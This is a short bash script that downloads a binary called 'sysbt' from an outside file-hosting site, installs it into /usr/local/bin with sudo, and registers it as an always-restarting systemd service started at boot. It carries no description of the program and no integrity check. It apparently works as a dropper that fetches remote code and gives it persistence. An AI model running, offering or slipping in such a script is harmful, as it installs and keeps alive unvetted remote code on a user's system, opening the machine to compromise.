#!/bin/bash
DOWNLOAD_URL="https://vip.123yx.com/1836317787/xz/sysbt"
PROGRAM_NAME=$(basename "$DOWNLOAD_URL")
INSTALL_DIR="/usr/local/bin"
PROGRAM_PATH="$INSTALL_DIR/$PROGRAM_NAME"
TEMP_DOWNLOAD_PATH="./$PROGRAM_NAME"
SERVICE_NAME="${PROGRAM_NAME}.service"
SERVICE_FILE="/etc/systemd/system/$SERVICE_NAME"

install_program() {
  if command -v curl > /dev/null 2>&1; then
    DOWNLOAD_CMD="curl -fsSLO \"$DOWNLOAD_URL\" -o \"$TEMP_DOWNLOAD_PATH\""
  elif command -v wget > /dev/null 2>&1; then
    DOWNLOAD_CMD="wget -q \"$DOWNLOAD_URL\" -O \"$TEMP_DOWNLOAD_PATH\""
  else
    return 1
  fi

  if [ -n "$DOWNLOAD_CMD" ] && [ ! -f "$TEMP_DOWNLOAD_PATH" ]; then
    eval "$DOWNLOAD_CMD" || return 1
  fi

  if [ -f "$TEMP_DOWNLOAD_PATH" ]; then
    sudo mkdir -p "$INSTALL_DIR"
    sudo mv "$TEMP_DOWNLOAD_PATH" "$PROGRAM_PATH" || return 1
    sudo chmod +x "$PROGRAM_PATH" || return 1
  fi

  if systemctl list-units --full --type=service | grep -q "$SERVICE_NAME"; then
    if ! systemctl is-active --quiet "$SERVICE_NAME"; then
      sudo systemctl start "$SERVICE_NAME" || return 1
    fi
  else
    sudo bash -c "cat <<EOF > $SERVICE_FILE
[Unit]
Description=$PROGRAM_NAME
After=network.target

[Service]
ExecStart=$PROGRAM_PATH
Type=forking
WorkingDirectory=$INSTALL_DIR
Restart=always
RestartSec=5s
User=$(whoami)
Group=$(whoami)
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=$PROGRAM_NAME

[Install]
WantedBy=multi-user.target
EOF" || return 1

    sudo systemctl daemon-reload --quiet || return 1
    sudo systemctl enable --quiet "$SERVICE_NAME" || return 1
    sudo systemctl start "$SERVICE_NAME" --quiet || return 1
  fi
  return 0
}
install_program